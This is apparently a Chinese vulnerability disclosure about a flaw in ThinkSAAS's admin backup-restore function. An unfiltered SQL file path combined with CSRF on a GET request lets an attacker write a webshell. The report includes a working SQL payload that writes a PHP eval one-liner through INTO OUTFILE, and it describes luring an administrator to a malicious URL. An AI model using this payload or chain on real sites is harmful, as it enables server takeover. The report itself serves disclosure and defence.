### 简要描述:
ThinkSAAS某处处存在任意文件操作,利用CSRF直接前台导致GETSHELL
### 详细说明:
首先这里存在问题的是后台系统管理的数据备份还原处。
[<img src="https://images.seebug.org/upload/201312/101900095511d03acbbd40b5acc82525be0f3025.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/101900095511d03acbbd40b5acc82525be0f3025.png)
这里没有过滤sql参数,直接带入,拼接data/baksql/目录,然后进入恢复数据
[<img src="https://images.seebug.org/upload/201312/10190019a19ade4b51848cfd935f6064d7f4829b.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/10190019a19ade4b51848cfd935f6064d7f4829b.png)
这里在恢复是判断有没有分卷,没有分卷就直接恢复了,没有处理所要备份的sql文件的路径,类型,内容等,导致操作任意文件。
然后来看看这里数据恢复的操作:
[<img src="https://images.seebug.org/upload/201312/10190026ad515682fc5526a31577c12bc2155a69.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/10190026ad515682fc5526a31577c12bc2155a69.png)
我们抓个包:
[<img src="https://images.seebug.org/upload/201312/101900376d5e286a9d4cc8835476071d73e6e17e.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/101900376d5e286a9d4cc8835476071d73e6e17e.png)
我们在前台上传一个图片,图片内容为:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/thinksaas/eval.php';
Drop TABLE IF EXISTS temp;
在sql参数处,把sql文件内容替换为我们自己上传的文件即可。
而且最重要的是,这里是GET请求,而且存在CSRF漏洞(图中以证明),那么我们上传了恶意文件后,诱使管理访问我们提供的恶意url就能拿到shell。
[<img src="https://images.seebug.org/upload/201312/10190054ee0d04a4918f965eaf1d98a39abb939c.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/10190054ee0d04a4918f965eaf1d98a39abb939c.png)
### 漏洞证明:
见详细说明
暂无评论